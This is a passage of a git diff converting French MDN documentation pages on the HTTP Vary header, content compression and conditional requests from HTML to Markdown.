L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.

+L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine. -

Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  Vary il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête Vary ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.

+Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  `Vary` il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête `Vary` ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête. -

The Vary header leads cache to use more HTTP headers as key for the cache.

+![The Vary header leads cache to use more HTTP headers as key for the cache.](http_vary.png) -

Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  Vary: User-Agent, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (Cloaking) n'est à craindre.

+Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  `Vary: User-Agent`, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" ([Cloaking](https://en.wikipedia.org/wiki/Cloaking)) n'est à craindre. -
Vary: User-Agent
+ Vary: User-Agent -

Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.

+Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa. -

Voir aussi

+## Voir aussi - +- [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching](https://tools.ietf.org/html/rfc7234) +- [Caching Tutorial – Mark Nottingham](https://www.mnot.net/cache_docs) +- [HTTP caching – Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching) +- [RedBot](https://redbot.org/), un outli pour vérifier vos en-têtes HTTP relatives au cache. diff --git a/files/fr/web/http/compression/index.md b/files/fr/web/http/compression/index.md index 49b4794212..e40a6ee4db 100644 --- a/files/fr/web/http/compression/index.md +++ b/files/fr/web/http/compression/index.md @@ -7,63 +7,57 @@ tags: - compression translation_of: Web/HTTP/Compression --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.

+La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients. -

En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :

+En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents : -
    -
  • Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées,
    • -
  • ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout),
    • -
  • enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP.
    • -
+- Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées, +- ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout), +- enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP. -

Fichiers au format compressé

+## Fichiers au format compressé -

Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :

+Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories : -
    -
  • Compression sans perte, le cycle compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original.
    - Pour les images, gif ou png utilisent une compression sans perte.
    • -
  • Compression avec pertes, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur.
    - Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images jpeg est un format avec pertes.
    • -
+- _Compression sans perte_, le cycle compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original. + Pour les images, `gif` ou `png` utilisent une compression sans perte. +- _Compression avec pertes_, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur. + Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images `jpeg` est un format avec pertes. -

Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que webp. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de nombreux outils spécialisés pour cet usage.

+Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que `webp`. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de [nombreux outils spécialisés](https://www.creativebloq.com/design/image-compression-tools-1132865) pour cet usage. -

Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.

+Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte. -
-

Note : Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.

-
+> **Note :** Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé. -

Compression de bout en bout

+## Compression de bout en bout -

La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.

+La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée. -

Séquence du serveur au client mettant en œuvre la compression de bout en bout

+![Séquence du serveur au client mettant en œuvre la compression de bout en bout](httpenco1.png) -

L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : gzip, le plus utilisé et br le nouveau venu.

+L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : `gzip`, le plus utilisé et `br` le nouveau venu. -

Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur la négociation du contenu. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.

+Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur [la négociation du contenu](/fr/docs/Web/HTTP/Content_negotiation). Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource. -

Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés

+![Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés](httpcompression1.png) -

La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.

+La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé. -

Apache prend en charge la compression et utilise mod_deflate; nginx dispose de ngx_http_gzip_module; pour IIS, il existe l'élément <httpCompression>.

+Apache prend en charge la compression et utilise [mod_deflate](http://httpd.apache.org/docs/current/mod/mod_deflate.html); nginx dispose de [ngx_http_gzip_module](http://nginx.org/en/docs/http/ngx_http_gzip_module.html); pour IIS, il existe l'élément [``](https://www.iis.net/configreference/system.webserver/httpcompression). -

Compression saut par saut

+## Compression saut par saut -

La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression différent.

+La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression _différent_. -

Compression saut par saut entre le serveur et le client

+![Compression saut par saut entre le serveur et le client](httpte1.png) -

HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.

+HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}. -

Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut

+![Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut](httpcomp2.png) -

En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.

+En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille. -

Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.

+Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy. diff --git a/files/fr/web/http/conditional_requests/index.md b/files/fr/web/http/conditional_requests/index.md index 4590846e91..eff6470709 100644 --- a/files/fr/web/http/conditional_requests/index.md +++ b/files/fr/web/http/conditional_requests/index.md @@ -8,140 +8,132 @@ tags: translation_of: Web/HTTP/Conditional_requests original_slug: Web/HTTP/Requêtes_conditionnelles --- -

{{HTTPSidebar}}

+{{HTTPSidebar}} -

Il existe en HTTP un concept de requête conditionnelle où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un validateur. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur.

+Il existe en HTTP un concept de _requête conditionnelle_ où le résultat, et même le succès d'une requête, peut être changé en comparant les ressources affectées avec la valeur d'un _validateur_. De telles requêtes peuvent être utiles pour valider le contenu d'un cache et éviter un contrôle inutile, pour vérifier l'intégrité d'un document, par exemple pour la reprise d'un téléchargement ou pour éviter de perdre des mises à jour quand on uploade ou modifie un document sur le serveur. -

Principes

+## Principes -

Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non.

+Les requêtes conditionnelles HTTP s'exécutent différemment en fonction de la valeur spécifique d'en-têtes. Ces en-têtes définissent une condition de départ (pré-condition) et le résultat de la requête sera différent selon que la pré-condition est satisfaite ou non. -

Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions :

+Les comportements différents sont définis par la méthode qu'utilise la requête et par un ensemble d'en-têtes propres aux préconditions : -
    -
  • Pour une méthode safe comme GET, qui est généralement utilisée pour récupérer un document, la requête conditionnelle peut être utilisée afin de renvoyer le document uniquement si c'est pertinent. Cela économise de la bande passante.
    • -
  • Pour les méthodes unsafe comme PUT, qui permet généralement d'uploader un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur.
    • -
+- Pour une méthode [safe](/fr/docs/Glossary/safe) comme [`GET`](/fr/docs/Web/HTTP/Methods/GET), qui est généralement utilisée pour récupérer un document, la requête conditionnelle peut être utilisée afin de renvoyer le document uniquement si c'est pertinent. Cela économise de la bande passante. +- Pour les méthodes [unsafe](/fr/docs/Glossary/safe) comme [`PUT`](/fr/docs/Web/HTTP/Methods/PUT), qui permet généralement d'uploader un document, la requête conditionnelle peut servir à charger le document, uniquement si l'original sur lequel la requête est basée est le même que celui stocké sur le serveur. -

Validateurs

+## Validateurs -

Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes :

+Tous les en-têtes conditionnels vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource. En effet, comparer l'ensemble octet par octet n'est pas faisable en pratique et ce n'est pas toujours le comportement désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il en existe deux sortes : -
    -
  • La date de dernière modification du document fournie par Last-Modified.
    • -
  • Une chaîne de caractères sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag", fournie par ETag.
    • -
+- La date de dernière modification du document fournie par _`Last-Modified`_. +- Une chaîne de caractères sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag", fournie par _`ETag`_. -

Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence :

+Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il existe deux sortes de vérification d'équivalence : -
    -
  • Une validation forte, utilisée quand une vérification à l'octet près est demandée, par exemple pour reprendre un téléchargement.
    • -
  • Une validation faible, utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page avec une date différente.
    • -
+- _Une validation forte_, utilisée quand une vérification à l'octet près est demandée, par exemple pour reprendre un téléchargement. +- _Une validation faible_, utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page avec une date différente. -

La sorte de la vérification est indépendante du validateur utilisé. Last-Modified et ETag permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.

+La sorte de la vérification est indépendante du validateur utilisé. [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) et [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) permettent les deux types de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée. -

Validation forte

+### Validation forte -

La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance.

+La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, à l'octet près. Cette validation est obligatoire pour certains en-têtes et correspond au comportement par défaut pour d'autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdue, parfois au détriment de la performance. -

Il est assez difficile d'avoir un identifiant unique pour la validation forte avec Last-Modified. On le fait souvent en employant une ETag avec le hachage MD5 de la ressource (ou un dérivé).

+Il est assez difficile d'avoir un identifiant unique pour la validation forte avec [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified). On le fait souvent en employant une [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) avec le hachage MD5 de la ressource (ou un dérivé). -

Validation faible

+### Validation faible -

La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache.

+La validation faible diffère de la validation forte, car elle considère que deux versions du document sont identiques si le contenu est équivalent. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions pourraient être considérées comme différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est très utile dans le but d'optimiser les performances du cache. -

En-têtes conditionnels

+## En-têtes conditionnels -

Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes :

+Plusieurs en-têtes HTTP, appelées en-têtes conditionels, permettent de conditionner les requêtes : -
-
If-Match
-
Réussit si la ETag de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
-
If-None-Match
-
Réussit si la ETag de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par 'W/', c'est une validation forte.
-
If-Modified-Since
-
Réussit si la date Last-Modified de la ressource distante est plus récente que celle donnée dans l'en-tête.
-
If-Unmodified-Since
-
Réussit si la date Last-Modified de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.
-
If-Range
-
Similaire à If-Match, ou If-Unmodified-Since, mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse 206 Partial Content, un 200 OK est envoyé avec la totalité de la ressource.
-
+- [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match) + - : Réussit si la [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) de la ressource distante est égal à un de ceux listés dans cet en-tête. Par défaut, à moins que l'ETag soit préfixé par `'W/'`, c'est une validation forte. +- [`If-None-Match`](/fr/docs/Web/HTTP/Headers/If-None-Match) + - : Réussit si la [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) de la ressource distante est différent de tout ceux listés dans l'en-tête. Par défaut, à moins que l'ETag soit préfixé par `'W/'`, c'est une validation forte. +- [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) + - : Réussit si la date [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) de la ressource distante est plus récente que celle donnée dans l'en-tête. +- [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since) + - : Réussit si la date [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête. +- [`If-Range`](/fr/docs/Web/HTTP/Headers/If-Range) + - : Similaire à [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match), ou [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since), mais peut n'avoir qu'un seul ETag, ou une date. Si ça ne correspond pas, la requête est rejetée et à la place d'un statut de réponse [`206`](/fr/docs/Web/HTTP/Status/206) `Partial Content`, un [`200`](/fr/docs/Web/HTTP/Status/200) `OK` est envoyé avec la totalité de la ressource. -

Cas d'utilisation

+## Cas d'utilisation -

Mise à jour du cache

+### Mise à jour du cache -

Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut 200 OK.

+Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du'uncache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut [`200`](/fr/docs/Web/HTTP/Status/200) `OK`. -

La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli.

+![La requête émise lorsque le cache est vide déclenche le téléchargement de la ressource et les deux valeurs de validation son prevent itt envoyés en en-tête. Le cache est alors rempli.](cache1.png) -

Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs Last-Modified et ETag sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.

+Avec la ressource, les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs [`Last-Modified`](/fr/docs/Web/HTTP/Headers/Last-Modified) et [`ETag`](/fr/docs/Web/HTTP/Headers/ETag) sont envoyés, mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé. -

Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête Cache-Control, le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes If-Modified-Since et If-Match.

+Tant que le cache n'est pas obsolète, aucune requête n'est émise. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête [`Cache-Control`](/fr/docs/Web/HTTP/Headers/Cache-Control), le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) et [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match). -

Si la ressource n'a pas changé, le serveur renvoie une réponse 304 Not Modified. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.

+Si la ressource n'a pas changé, le serveur renvoie une réponse [`304`](/fr/docs/Web/HTTP/Status/304) `Not Modified`. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau. -

Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même.

+![Avec un cache périmé, la requête conditionnelle est envoyée. Le serveur peut déterminer si une ressource a changé et, dans ce cas, décider de ne pas la renvoyer si c'est la même.](httpcache2.png) -

Si la ressource a changé, le serveur renvoie simplement une réponse 200 OK avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.

+Si la ressource a changé, le serveur renvoie simplement une réponse [`200`](/fr/docs/Web/HTTP/Status/200)` OK` avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache. -

Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle.

+![Dans le cas où la ressource a changé, elle est renvoyée, comme si la requête n'était pas conditionnelle.](httpcache3.png) -

De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.

+De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur. -

Intégrité d'un téléchargement partiel

+### Intégrité d'un téléchargement partiel -

Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :

+Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues : -

Un téléchargement a été stoppé et seule une partie du contenu a été récupérée.

+![Un téléchargement a été stoppé et seule une partie du contenu a été récupérée.](httpresume1.png) -

Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête Accept-Ranges. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête Ranges avec les données manquantes :

+Un serveur qui supporte le téléchargement partiel le diffuse en envoyant un en-tête [`Accept-Ranges`](/fr/docs/Web/HTTP/Headers/Accept-Ranges). Quand il la reçoit, le client peut reprendre le téléchargement en envoyant un en-tête de requête [`Ranges`](/fr/docs/Web/HTTP/Headers/Ranges) avec les données manquantes : -

Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement.

+![Le client reprend la requête en indiquant l'intervalle dont il a besoin et les préconditions en vérifiant les validateurs de la requêtes obtenues partiellement.](httpresume2.png) -

Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise If-Modified-Since et de If-Match, le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début :

